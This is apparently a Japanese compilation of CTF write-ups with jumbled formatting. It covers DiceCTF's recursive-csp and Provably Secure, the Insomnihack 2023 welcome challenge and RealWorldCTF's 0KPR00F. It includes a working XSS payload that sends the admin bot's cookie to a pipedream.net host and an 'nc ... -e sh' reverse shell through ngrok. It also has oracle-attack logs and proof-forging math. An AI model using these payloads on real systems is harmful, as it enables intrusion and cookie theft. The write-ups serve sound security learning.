Meow
797
ictf{easiest_challenge_of_them_all}
Meow
797
ictf{easiest_challenge_of_them_all}
Webページのソースは次の通り。web/recursive-cspstrellicthe nonce isn't random, so how hard could this be?
(the flag is in the admin bot's cookie)
<?phpnameに<script>タグを入れてXSSを発生させる。Content-Security-Policyのscript-srcのnonce値を合わせておく必要がある。
if (isset($_GET["source"])) highlight_file(__FILE__) && die();
$name = "world";
if (isset($_GET["name"]) && is_string($_GET["name"]) && strlen($_GET["name"]) < 128) {
$name = $_GET["name"];
}
$nonce = hash("crc32b", $name);
header("Content-Security-Policy: default-src 'none'; script-src 'nonce-$nonce' 'unsafe-inline'; base-uri 'none';");
?>
<!DOCTYPE html>
<html>
<head>
<title>recursive-csp</title>
</head>
<body>
<h1>Hello, <?php echo $name ?>!</h1>
<h3>Enter your name:</h3>
<form method="GET">
<input type="text" placeholder="name" name="name" />
<input type="submit" />
</form>
<!-- /?source -->
</body>
</html>
次のようにURLエンコードしてadmin botに入力するとCookieの情報を読み取ることができる。1234567<script nonce="00000000">document.location="https://enxsx38x468t.x.pipedream.net/?s=" + document.cookie</script>ndvimpy
https://recursive-csp.mc.ax/?name=%3Cscript%20nonce=%2200000000%22%3Edocument.location=%22https://enxsx38x468t.x.pipedream.net/?s=%22%20%2b%20document.cookie%3C/script%3EndvimpyRequestBinに次のログが残る。
GETフラグは、
dice{h0pe_that_d1dnt_take_too_l0ng}
server.pycrypto/Provably SecurejyuI proved this cryptographic combiner to be super secure (specifically IND-CCA2) on my graduate cryptography final exam, but just to be safe, I'm making you break it with both primitives being computationally secure!
nc mc.ax 31493
Downloads
フラグは、b'Experiment 128/128\n'b'pk0 = 26483178418609116136951478639155735955228244719231038357154286456849164060537738601129461329027032592022630276653274631380513565573453208959131970498627891166304660979526866358093970418467452255935885486672919046263969293559022305618635679493450910418358860413789966895286255402093586148398942408961686081886747201577911268454355107333476809801749505548136117482308470616651066354286490397379793697989041763209509786130857855625486035421706980743070961196362581601994281592155108200050766753687511387016112248369819804225762436294955214316499544033467870439578449504064153537328438230865934214907862597149182412802701\n'b'pk1 = 22667744595601474719286417722625980199953337073921238439970513544682185573760647158871048307685415680411492067802867281482343310100191877885779793610507355501999611487469590935934426591359710644022154322375553905976005195668301956253448563908292821833250608789296031973513718421770681387826699074934899042073377864571289646893078940363500912533248781684860073627225276507037962023181884504883692372741763762006049491280194835446782532329513422943632894660291064132748577211239618413055708718354177215501903052248014031902261890798295746583994399760723038360888997246445020179588051003201717048265195427106050941676633\n'b'Action: '[DEBUG] Sent 0x2 bytes:b'1\n'[DEBUG] Received 0x18 bytes:b'm0 (16 byte hexstring): '[DEBUG] Sent 0x21 bytes:b'11111111111111111111111111111111\n'[DEBUG] Received 0x18 bytes:b'm1 (16 byte hexstring): '[DEBUG] Sent 0x21 bytes:b'22222222222222222222222222222222\n'[DEBUG] Received 0x409 bytes:b'5a3f744e9f9c02d1b11bf4bf85d9dbf5ec1f8ca76b2468cd3479f55f337a65ad38a74ab8aa698903c48672c4d2681c1da170f4cf2551a35515258f7e1536fa92d7184d90d20096605a939adc17e58c6c0f010d1ee7978f034baa3c54bb6650bc496232cc298349ccefff2b9aca787603bca06b04e8d6c7317cc928097b3cc5a0a376794f67d4926df80e9d8729d14284d64ae34977fd87be5ec37072fe4f2842761fe25275ac903fc44677bd79a49d76d04b96c9152703b569fd4e6e21041eb69c5c8b6b970391c693a46748b63a6179fc53fb24a30ee651a98afdff748f4cbecb86f81d1a53acc93cadb338f06fccbc4515707a7ab721e644205986eb29d8be6f50162452fc1d8891df1b576d5da495c4631f7d1a353f2fcf79460fe2207d96ccae1385d33890705a19bafdf910ef2b723e21a1a225df761416626d1cf3d4b405b456514b050dd69dcb3987cd9cca82de7cce0dc57d32967a2d43ace5f0bab765c03664d61dd32a876de664f2e5b4cf4d8c744cb5b30a538b03aba6d111596af6fcb60252843c07f9b120b57b06ab46cca0b306b6215bb1a90eb062bdb7c1e7192092fcb24089b0d5a114c77b8904e4fffbf5ef2b8dbf95112c2362c14df478cb2f89dfd03d48ffe89cc864f5b5ac056e4886c87dbdc2ee126e1ed69848401fee18cfde7cf326aad014cc53d047979d92d851678d002105ab341f8c0b83e060\n'b'Action: '[DEBUG] Sent 0x2 bytes:b'2\n'[DEBUG] Received 0x19 bytes:b'ct (512 byte hexstring): '[DEBUG] Sent 0x401 bytes:b'5a3f744e9f9c02d1b11bf4bf85d9dbf5ec1f8ca76b2468cd3479f55f337a65ad38a74ab8aa698903c48672c4d2681c1da170f4cf2551a35515258f7e1536fa92d7184d90d20096605a939adc17e58c6c0f010d1ee7978f034baa3c54bb6650bc496232cc298349ccefff2b9aca787603bca06b04e8d6c7317cc928097b3cc5a0a376794f67d4926df80e9d8729d14284d64ae34977fd87be5ec37072fe4f2842761fe25275ac903fc44677bd79a49d76d04b96c9152703b569fd4e6e21041eb69c5c8b6b970391c693a46748b63a6179fc53fb24a30ee651a98afdff748f4cbecb86f81d1a53acc93cadb338f06fccbc4515707a7ab721e644205986eb29d8be6f50162452fc1d8891df1b576d5da495c4631f7d1a353f2fcf79460fe2207d96ccae1385d33890705a19bafdf910ef2b723e21a1a225df761416626d1cf3d4b405b456514b050dd69dcb3987cd9cca82de7cce0dc57d32967a2d43ace5f0bab765c03664d61dd32a876de664f2e5b4cf4d8c744cb5b30a538b03aba6d111596af6fcb60252843c07f9b120b57b06ab46cca0b306b6215bb1a90eb062bdb7c1e7192092fcb24089b0d5a114c77b8904e4fffbf5ef2b8dbf95112c2362c14df478cb2f89dfd03d48ffe89cc864f5b5ac056e4886c87dbdc2ee126e1ed69848401fee18cfde7cf326aad014cc53d047979d92d851678d002105ab341f8c0b83e060\n'[DEBUG] Received 0x29 bytes:b'11111111111111111111111111111111\n'b'Action: '[DEBUG] Sent 0x2 bytes:b'0\n'[DEBUG] Received 0xd bytes:b'm_bit guess: '[DEBUG] Sent 0x2 bytes:b'0\n'[DEBUG] Received 0x43 bytes:b'Correct!\n'b'Flag: dice{yeah_I_lost_like_10_points_on_that_proof_lmao}\n'
dice{yeah_I_lost_like_10_points_on_that_proof_lmao}
このPoCを利用する。
by Dreyvor! Welcome to Insomnihack 2023 !
Let's start with an easy and well-known web exploitation.
A hipster welcome for hipster scriptkiddies, here you go!
Tomat0Soup@_Tomat0Soup_ローカルでリクエストを待ち受ける。Excited to share my latest critical security finding in the Kagus CMS - a PHP deserialization vulnerability! Check… https://t.co/rwQKfDQWPg
2023/01/18 06:55:49
$ nc -l 1234
PoCを実行する。$ ngrok tcp 1234
Webサーバと接続されているのでコマンドを実行する。$ go run poc.goTarget (e.g. https://localhost:9000):https://welcome.insomnihack.ch:8443Command (e.g. nc 192.168.0.10 2345 -e sh):nc 0.tcp.jp.ngrok.io 12649 -e sh[*] INFO: Preparing to send command: "nc 0.tcp.jp.ngrok.io 12649 -e sh" to "https://welcome.insomnihack.ch:8443"[*] INFO: Sending request...
$ nc -l 1234lscreateUserAccount.phpinfo_flagcat info_flagThe flag is located at /flag.txtcat /flag.txtINS{N3V3r_7Ru57_917HUb_r3l34532!_4lw4Y2_KoMP1L3_7H3M}
0KPR00FScore: 101Crypto, difficulty:Normal
Sh0w me the pr00f that y0u understand 0kpr00f. If its 0k, i'll give y0u what y0u want!
nc 47.254.47.63 13337
Ct = [t**0, t**1, t**2, t**3, t**4, t**5, t**6]となる。
PKC = [G1*t**0, G1*t**1, G1*t**2, G1*t**3, G1*t**4, G1*t**5, G1*t**6]
PKCa = [a*G1*t**0, a*G1*t**1, a*G1*t**2, a*G1*t**3, a*G1*t**4, a*G1*t**5, a*G1*t**6]
pairing(VKa, PiC) = pairing(G2, PiCa)となるPiC, PiCa, PiHを入力することでフラグを得ることができる。
pairing(G2, PiC) = pairing(VKz, PiH)
e(P, Q+R) = e(P, Q)*e(P, R)より、
e(P+Q, R) = e(P, R)*e(Q, R)
e(a*P, Q) = e(P, a*Q) = e(P, Q)**a
pairing(VKa, PiC) = pairing(G2, PiCa)VKa = a*G2なので、pairing(VKa, PiC) = pairing(a*G2, PiC) = pairing(G2, a*PiC)
したがって、pairing(G2, PiC) = pairing(VKz, PiH)VKz = (t-1)*(t-2)*(t-3)*(t-4)*G2より、pairing(VKz, PiH) = pairing((t-1)*(t-2)*(t-3)*(t-4)*G2, PiH) = pairing(G2, (t-1)*(t-2)*(t-3)*(t-4)*PiH)
PiCa = a*PiCPiHにG1を適用することで、PiC, PiCa, PiHを求めることができる。
PiC = (t-1)*(t-2)*(t-3)*(t-4)*PiH = (t**4 - 10*t**3 + 35*t**2 - 50*t + 24)*PiH
PiH = G1PiH、PiC、PiCaを求めるプログラムは次の通り。
PiC = t**4*G1 - 10*t**3*G1 + 35*t**2*G1 - 50*t*G1 + 24*G1
= PKC[4] - 10*PKC[3] + 35*PKC[2] - 50*PKC[1] + 24*PKC[0]
PiCa = PKCa[4] - 10*PKCa[3] + 35*PKCa[2] - 50*PKCa[1] + 24*PKCa[0]
b'===========================\n'b'=WELCOME TO 0KPR00F SYSTEM=\n'b'===========================\n'b'([(1, 2), (6951158980176023808672944052330889760482237855327193887807935495478570808642, 17908888220283291625531314275972104628236311407176528569109534955078754769105), (18901928226760644830513160068234084069922194040431438515132150914220828048108, 15654368433618756732770875139641381270966509158952057127466508623044552223548), (10402829170097144260590441127593915274060143821877921964578566788272400218808, 16945758728076495812604523985293120334237244493463161019483862214883437869437), (10882799501868362079687182580425887447643004994279269632588887193657945065681, 13584860258034637211660415483386320283321552331750096485350966687939605822059), (20338730205424621285473726618647183068251457802061517360093181360024919937798, 18041596372811728194793277057117328423603596981500611475592318838031136515948), (1908179672416088679548828039785263003841933793017957983485643138922098190694, 1461736854479442556312787492486542322267159405618254706198156788708298006119)], [(2755286556932053935732074074652948734719308587331382609322327363667944871556, 6443993305305179591670486209357610205344864402376428648159984658469938918416), (7281280718878434895774687564471683708914040684368975387001707493965619000127, 2468148688528445086289242182898381558066459201477704832289877907223065116665), (17899854767572753776559148635910658933704043743895643043967175639135936543672, 15128119548546358989344382389045909618233622936610346645129750311379239899113), (16921033913112737102481002928667683753884890325996253668788751068369739277097, 19353983169964573455451593298095160492409167433812498648213579879173651132781), (11335331284820005797549195812537509528738634517391069726828669994538127370901, 20145142547921108524982689259164728613327370901047022787078069009352392471024), (21440973202324113772836077051131572545181819246459224087082541174977455394815, 21778185593826989204928344332224528536705666523413412025139324875306121915229), (8066276198295105926861821968292432786280580634830298759620637288586361993983, 8951238231599903435597581357944487345101424624979642827105300367893202204224)])\n'b'now give me your proof\n'(21348779946651574597961960204512750391701998143752788884255868899236735890665, 19901659748119950009164763102312342484229400563449780547593779415410533167802) (647121105526769008859192496408882822606951812640292730048477416083000546744, 3836740433026658496669540696629457982221173205425799331909096872890670417671) (1, 2)b'Congratulations!Here is flag:rwctf{How_do_you_feel_about_zero_knowledge_proof?}\n'